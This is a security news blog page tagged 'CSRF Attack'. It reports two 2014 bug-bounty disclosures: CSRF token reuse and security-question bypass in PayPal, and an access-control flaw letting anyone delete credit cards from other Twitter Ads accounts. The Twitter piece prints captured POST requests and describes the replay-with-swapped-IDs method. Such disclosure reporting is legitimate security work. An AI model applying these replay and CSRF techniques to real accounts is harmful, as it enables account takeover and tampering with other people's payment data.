Posts tagged: CSRF Attack

Dec 04 2014

Hacking PayPal Accounts With One Click

PayPal CSRF HackYasser H. Ali, an Egyptian security researcher, has discovered three critical vulnerabilities in PayPal website which could be used to take control of customer accounts.

Yasser explained in his post the three vulnerabilities used to breach into accounts:

1] Reusable CSRF Token :
The CSRF token “that authenticate every single request made by the user” which can be also found in the request body of every request with the parameter name “Auth” get changed with every request made by user for security measures, but after a deep investigation I found out that the CSRF Auth is Reusable for that specific user email address or username, this means If an attacker found any of these CSRF Tokens, He can then make actions in the behave of any logged in user.

2] Bypassing the CSRF Auth System :
an Attacker can obtain the CSRF Auth which can be valid for ALL users, by intercepting the POST request from a page that provide an Auth Token before the Logging-in process, check this page for the magical CSRF Auth “https://www.paypal.com/eg/cgi-bin/webscr?cmd=_send-money”. At this point the attacker Can CSRF “almost” any request on behave of this user.

3] ByPassing the Security Questions Change :
the request of setting up the security questions “which is initiated by the user while signing up” is not password-protected, and it can be reused to reset the security questions up without providing the password, hence, Armed with the CSRF Auth, an attacker can CSRF this process too and change the victim’s Security questions.

At this point, An attacker can conduct a targeted CSRF attack against a PayPal users and take a full control over his account Hence, An attacker can CSRF all the requests including but not limited to:

― Add/Remove/Confirm Email address
― Add fully privileged users to business account
― Change Security questions
― Change Billing/Shipping Address
― Change Payment methods
― Change user settings (Notifications/Mobile settings)…. and more.

Here is the Proof Of Concept Video:

The vulnerability is patched very fast and PayPal paid me the maximum bounty they give ($ 10,000 USD) ;) ” – Yasser Ali

Original Story: Yasser Ali’s Blog >> Hacking PayPal Accounts with one click

Sep 16 2014

Twitter Vulnerability Allows Hacker to Delete Credit Cards from any Account

Twitter Delete Credit Card VulnerabilityAt the beginning of this month, just like other social networks, Twitter also started paying individuals for any flaws they uncover on its service with a fee of $140 or more offered per flaw under its new Bug Bounty program, and here comes the claimant.

An Egyptian Security Researcher, Ahmed Aboul-Ela, who have been rewarded by many reputed and popular technology giants including Google, Microsoft and Apple, have discovered a critical vulnerability in Twitter’s advertising service that allowed him deleting credit cards from any Twitter account.

Actually he found two vulnerabilities not one but both was having the same effect and impact.

#First Vulnerability
The first vulnerability he had spotted was in the delete functionality of credit cards in payments method page

https://ads.twitter.com/accounts/[account id]/payment_methods

Twitter Vulnerability Delete Credit Card

When he choose to delete credit card and press on the delete button, an ajax POST request is sent to the server like the following:

POST /accounts/18ce53wqoxd/payment_methods/destroy HTTP/1.1
Host: ads.twitter.com
Connection: keep-alive
Content-Length: 29
Accept: /
Origin: https://ads.twitter.com
X-CSRF-Token: Lb6HONDceN5mGvAEUvCQNakJUspD60Odumz/trVdQfE=
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://ads.twitter.com/accounts/18ce53wqoxd/payment_methods
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: [cookies here]
account=18ce53wqoxd&id=219643

There are only two post parameters sent in request body-
account: the twitter account id
id: the credit card id and it’s numerical without any alphabetic characters

All he had to do is to change those two parameters to his twitter account id and credit card id, then reply again the request and he suddenly found that credit card have been delete from the other twitter account without any required interaction.

The funny part that the page response was “403 forbbiden” but the credit card was actually deleted from the account :D

#Second Vulnerability
Aboul-Ela found another similar vulnerability but this time the impact was higher than the previous one.
when he tried to add an invalid credit card to his twitter account it displayed an error message

“we were unable to approve the card you entered” and show a button called “Dismiss”

Hacking Twitter Delete Credit Cards

When he pressed on the Dismiss button the credit card was disappeared from his account, so he thought it have the same effect of deleteing, so he tried to add invalid credit card again and intercepted the request which looks like the following:

POST /accounts/18ce53wqoxd/payment_methods/handle_failed/220152 HTTP/1.1
Host: ads.twitter.com
Connection: keep-alive
Content-Length: 108
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://ads.twitter.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://ads.twitter.com/accounts/18ce53wqoxd/payment_methods
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: [Cookies Here]
utf8=%E2%9C%93&authenticity_token=Lb6HONDceN5mGvAEUvCQNakJUspD60Odumz%2FtrVdQfE%3D
&id=220152&dismiss=Dismiss

This time account parameter doesn’t exists and only credit card id is used.

So he changed the id in the url and body to his credit card id from other twitter account then replied the request, and guess what?
Credit card got deleted from the other twitter account !

VIDEO DEMONSTRATION: